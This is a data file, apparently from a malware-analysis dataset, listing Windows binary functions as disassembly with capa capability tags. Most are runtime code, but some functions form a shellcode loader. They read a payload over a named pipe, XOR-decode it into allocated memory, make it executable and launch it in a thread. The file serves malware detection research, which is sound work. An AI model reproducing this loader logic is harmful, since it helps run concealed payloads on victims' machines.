joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ca8e0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14000187a
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140122910]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400caad2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1400caa26
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400caa26
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1400caa0b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1400ca9a8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400caa92
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400caaf1
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1400caacd
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400caaf1
jmp 0x1400ca97e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140002694
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400caba0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14000187a
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140122910]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400cadad
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1400cacf9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400cacf9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1400cacd9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1400cac68
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400cad6d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400cadcc
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1400cada8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400cadcc
jmp 0x1400cac3e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140002694
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x14003b60c
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140048cc8], rbx
je 0x14003b673
cmp rax, rbx
jne 0x14003b666
mov ebx, 1
mov esi, ebx
jmp 0x14003b678
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14003b64b
mov ebx, 1
mov eax, dword [0x140048cd0]
cmp eax, ebx
jne 0x14003b690
mov edi, 0x1f
mov ecx, edi
call fcn.140167000
jmp 0x14003b6fc
mov eax, dword [0x140048cd0]
test eax, eax
jne 0x14003b6f1
mov dword [0x140048cd0], ebx
lea r15, [0x14003e288]
lea rdi, [0x14003e270]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14003b6e3
test eax, eax
jne 0x14003b6e7
cmp qword [rdi], r14
je 0x14003b6d8
mov rax, qword [rdi]
mov rcx, qword [0x14003e230]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14003b6ba
test eax, eax
je 0x14003b6f7
mov eax, 0xff
jmp 0x14003b852
mov dword [0x140048284], ebx
mov edi, 0x1f
mov eax, dword [0x140048cd0]
cmp eax, ebx
jne 0x14003b723
lea rdx, [0x14003e268]
lea rcx, [0x14003e238]
call sub.msvcrt.dll__initterm
mov dword [0x140048cd0], 2
test esi, esi
jne 0x14003b731
mov rax, r14
xchg qword [0x140048cc8], rax
cmp qword [0x140048ce8], r14
je 0x14003b764
lea rcx, [0x140048ce8]
call fcn.14003bbf0
test eax, eax
je 0x14003b764
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140048ce8]
mov r9, qword [0x14003e230]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14003b77d
mov eax, 0xff
jmp 0x14003b852
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14003b803
test ax, ax
je 0x14003b798
test edx, edx
jne 0x14003b803
sub ax, bx
cmp ax, di
ja 0x14003b7ae
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14003b798
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001fc0
mov dword [0x140048280], eax
cmp dword [0x1400482a0], r14d
jne 0x14003b7ec
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140048284], r14d
jne 0x14003b801
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140048280]
jmp 0x14003b852
cmp ax, 0x22
jne 0x14003b817
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14003b786
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.14003bc70
add rsp, 0x28
jmp 0x14003b60c
Function at 0x401595
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd r12, edx
mov rdi, rcx
mov rbp, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, r12
mov rsi, r12
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x4015e0
mov rdx, rax
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x4015c7
mov rcx, rbx
call fcn.00401563
lea r9, [rsp + 0x3c]
mov rdx, r12
mov r8d, 0x20
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x00401560]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401630
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00453980]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4016dc
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.DLL_ConnectNamedPipe]
test eax, eax
je 0x4016dc
test ebx, ebx
jle 0x4016c6
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4016d1
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4016dc
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x4016a3
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x401704
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00453980]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x40179c
test ebx, ebx
jle 0x401781
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401791
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
jmp 0x40179c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x40175e
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x4017f8
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x004504b0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.00401704
test eax, eax
je 0x4017c8
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.00401595
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x00453980]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x004016e6]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x4017a6

Function at 0x401d50
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402ec0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402ec0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x401dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00453614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401f68
mov rax, qword [0x00453618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401e0c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401e97
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401df0
mov rcx, r12
call fcn.00402b20
mov rbp, rax
test rax, rax
je 0x401fa2
mov rax, qword [0x00453618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00402c50
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00453618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x401fb1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401e90
sub eax, 4
and eax, 0xfffffffb
jne 0x401f20
add dword [0x00453614], 1
cmp ebx, 8
jae 0x401ec8
test bl, 4
jne 0x401f70
test ebx, ebx
je 0x401eb9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401f90
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401eb9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401efa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00453618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x401e90
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401d50
nop dword [rax]
xor edi, edi
jmp 0x401e17
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401eb9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401eb9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401d50
mov rax, qword [0x00453618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00401d50
nop
nop dword [rax]
Function at 0x402790
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00453900]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x004538e0]
test rbx, rbx
je 0x4027e4
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4027db
test r12, r12
je 0x4027db
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4027c0
lea rcx, [0x00453900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x402b20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004503b0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402b99
mov rcx, r10
call fcn.004029f0
test eax, eax
je 0x402b99
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402b96
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402b8d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402b99
add r8, 0x28
cmp r8, r9
jne 0x402b78
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1400036d0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
lea rcx, [rbp - 0x40]
call fcn.140067e30
nop
mov rcx, rax
call fcn.140008480
mov rbx, rax
mov byte [rbp - 0x50], 0x23
mov byte [rbp - 0x4f], 0x3b
mov byte [rbp - 0x4e], 0x30
mov byte [rbp - 0x4d], 0x37
mov byte [rbp - 0x4c], 0x35
mov byte [rbp - 0x4b], 0x38
mov byte [rbp - 0x4a], 0x12
mov byte [rbp - 0x49], 0x17
mov byte [rbp - 0x48], 0x1e
mov byte [rbp - 0x47], 0x17
mov byte [rbp - 0x46], 0xb
mov byte [rbp - 0x45], 0x15
mov byte [rbp - 0x44], 0x67
movzx eax, byte [rbp - 0x50]
xor r10d, r10d
movabs rdi, 0xc8814c1e212fc05a
mov r11, rdi
lea rax, [rbp - 0x50]
sub r11, rax
lea esi, [r10 + 0xf]
nop word [rax + rax]
lea r8, [rbp - 0x50]
add r8, r10
movsx r9, byte [r8]
mov rax, r10
and eax, esi
cmp rax, rsi
cmovae rax, rsi
shl al, 2
mov rdx, rdi
movzx ecx, al
shr rdx, cl
and dl, sil
add r8b, r11b
xor dl, r8b
xor dl, r9b
mov byte [rbp + r10 - 0x50], dl
inc r10
cmp r10, 0xd
jb 0x140003750
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x20]
call fcn.140005e80
mov rdx, rax
mov rcx, rbx
call fcn.140067cc0
nop
lea rcx, [rbp - 0x40]
call fcn.140005a50
mov dword [rbp + 0x20], 0x5dc
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x30]
call fcn.140008490
mov rcx, rax
call fcn.1400084a0
lea rcx, [rbp - 0x30]
call fcn.140049090
nop
mov rcx, rax
call fcn.140008480
mov rcx, rax
call fcn.140002a80
nop
lea rcx, [rbp - 0x30]
call fcn.140005a50
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14000c190
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000c1ed
lea rbx, [0x140135030]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14000c1d4
cmp r10, 2
jb 0x14000c1d4
cmp byte [r9], r8b
jne 0x14000c1d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14000c1b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000c22f
lea rbx, [0x140135030]
cmp r8b, 0x23
jne 0x14000c213
cmp byte [r9], r8b
jne 0x14000c213
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14000c200
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x14000c370
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000c38a
mov qword [r8], 0
lea rdx, [0x140139d2c]
call fcn.14000c240
mov rbx, rax
test rax, rax
jne 0x14000c3aa
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x14000c495
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000c495
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000c495
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000c495
cmp rdi, 0xffffffffffffffff
je 0x14000c495
mov rax, qword [0x1401b3978]
test rax, rax
je 0x14000c426
inc dword [rax + 0xec]
mov rdx, qword [0x1401b3968]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rax, rax
je 0x14000c495
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000c482
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1401b3978]
test rax, rax
je 0x14000c471
dec dword [rax + 0xec]
mov rdx, qword [0x1401b3968]
mov rcx, rsi
call fcn.14000b480
jmp 0x14000c49e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000c490
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000c4a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000e670
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x140135030]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [0x1401b3978]
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rcx + 0x3edc], ebx
jne 0x14000e706
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.140021a90
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000e710
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xd8]
lea r9, [0x140135030]
movss xmm2, dword [rcx + 0xf0]
movss xmm3, dword [rcx + 0xf4]
movsxd rcx, dword [rcx + 0xd0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
